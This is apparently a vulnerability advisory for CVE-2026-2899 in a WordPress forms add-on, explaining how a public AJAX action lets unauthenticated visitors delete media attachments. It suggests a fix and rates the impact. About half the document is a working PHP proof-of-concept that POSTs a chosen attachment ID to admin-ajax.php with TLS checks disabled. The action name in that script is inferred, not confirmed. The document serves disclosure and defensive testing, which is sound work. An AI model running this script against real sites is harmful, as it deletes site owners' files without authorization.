Atomic Edge analysis of CVE-2026-2899 (metadata-based):
The vulnerability stems from a missing authorization check in the Fluent Forms Pro Add On Pack plugin. The `deleteFile()` method within the `Uploader` class lacks both nonce verification and capability checks. The AJAX action registration uses `addPublicAjaxAction()`, which creates both authenticated (`wp_ajax_`) and unauthenticated (`wp_ajax_nopriv_`) hooks. This configuration allows any user, including unauthenticated visitors, to trigger the deletion function.
Exploitation occurs via a POST request to the standard WordPress AJAX endpoint `/wp-admin/admin-ajax.php`. The request must specify the vulnerable AJAX action name, which Atomic Edge research infers follows the plugin’s naming pattern (e.g., `fluentformpro_uploader_delete_file`). The attacker supplies the target media attachment’s ID through the `attachment_id` parameter. The vulnerability description confirms the `path` parameter is not exploitable due to encryption, making `attachment_id` the sole viable vector.
The fix in version 6.1.18 likely involves adding a capability check (e.g., `current_user_can(‘upload_files’)`) and nonce verification to the `deleteFile()` method. The registration method should also be changed from `addPublicAjaxAction()` to `addAjaxAction()` to remove the unauthenticated hook.
Successful exploitation allows an unauthenticated attacker to delete arbitrary media library attachments. This results in loss of data (Integrity impact) and potential service disruption (Availability impact), aligning with the CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L vector. The attack requires no user interaction and has low complexity.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2899 - Fluent Forms Pro Add On Pack <= 6.1.17 - Missing Authorization to Unauthenticated Arbitrary Attachment Deletion
<?php
/**
* Proof of Concept for CVE-2026-2899.
* This script demonstrates unauthenticated arbitrary attachment deletion.
* The exact AJAX action name is inferred from plugin conventions.
* Replace $target_url and $attachment_id variables as needed.
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$attachment_id = 123; // Replace with the ID of the WordPress media attachment to delete
// Infer the AJAX action name. Common patterns: '{plugin_slug}_delete_file', '{plugin_slug}_uploader_delete'
// Based on the class and method name, we use a likely action.
$inferred_action = 'fluentformpro_uploader_delete_file';
$post_data = array(
'action' => $inferred_action,
'attachment_id' => $attachment_id
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing environments only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Response Code: " . $http_code . "n";
echo "Response Body: " . $response . "n";
// A successful deletion may return a JSON response with a 'success' key.
?>
